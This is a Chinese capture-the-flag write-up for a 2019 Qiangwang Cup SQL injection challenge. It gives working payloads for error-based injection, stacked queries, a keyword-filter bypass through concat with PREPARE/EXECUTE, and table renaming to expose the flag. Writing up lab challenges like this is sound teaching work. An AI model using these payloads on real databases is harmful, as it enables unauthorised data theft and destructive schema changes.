19年强网杯的一道题目
题目环境:https://buuoj.cn/challenges#%E9%9A%8F%E4%BE%BF%E6%B3%A8

解题思路

题目名字叫随便注,显然是sql注入

  • 首先确定注入的类型
    1
    inject=1'
    得到报错

    error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘’1’’’ at line 1

可以确定是字符型的注入

  • 尝试利用报错注入
    1
    inject=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+
    返回
    1
    return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
    可以看到过滤了select,update,delete,drop,insert,where和.
    利用别的报错注入可以得到库名为supersqli
    1
    inject=1' and extractvalue(1, concat(0x5c, database(),0x5c)) --+
    但接下来无论是union select还是报错注入都没办去获取表名,因为select被过滤了,也没有找到什么办法绕过
  • 发现堆叠注入
    1
    inject=1';show tables;--+
    发现可以堆叠注入,得到表名1919810931114514和words
    把被过滤的关键字拆分开,用concat拼接,然后用PREPARED和EXECUTE执行
    1
    inject=1';use information_schema;set @sql=concat('s','elect column_name from columns wher','e table_name="1919810931114514"');prepare stmt1 from @sql;execute stmt1;--+
    返回
    1
    strstr($inject, "set") && strstr($inject, "prepare")
    大写没有过滤,把set或者prepare改成大写即可绕过
    1
    inject=1';use information_schema;SET @sql=concat('s','elect column_name from columns wher','e table_name="1919810931114514"');PREPARE stmt1 from @sql;execute stmt1;--+
    得到列名hahahah和flag
    1
    ';use supersqli;SET @sql=concat('s','elect flag from `1919810931114514`');PREPARE stmt1 FROM @sql;EXECUTE stmt1;--+
    拿到flag
    注意当表名以数字开头时要用反引号括起来,所以要用`1919810931114514`

一道类似的题目是18年SUCTF的MultiSql

其他的一些做法

  • 获取列名还可以
    1
    inject=1';show columns from `1919810931114514` --+
  • 另一种思路是把words表改成其他名字,把1919810931114514改成words,因为原本的sql语句是从words表中查询,所以只要把flag列改名成id就可以直接查询出flag
    1
    inject=1';RENAME TABLE `words` TO `temp`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words; --+
    1
    2
    inject=1' or 1=1 --+
    查询出表中所有内容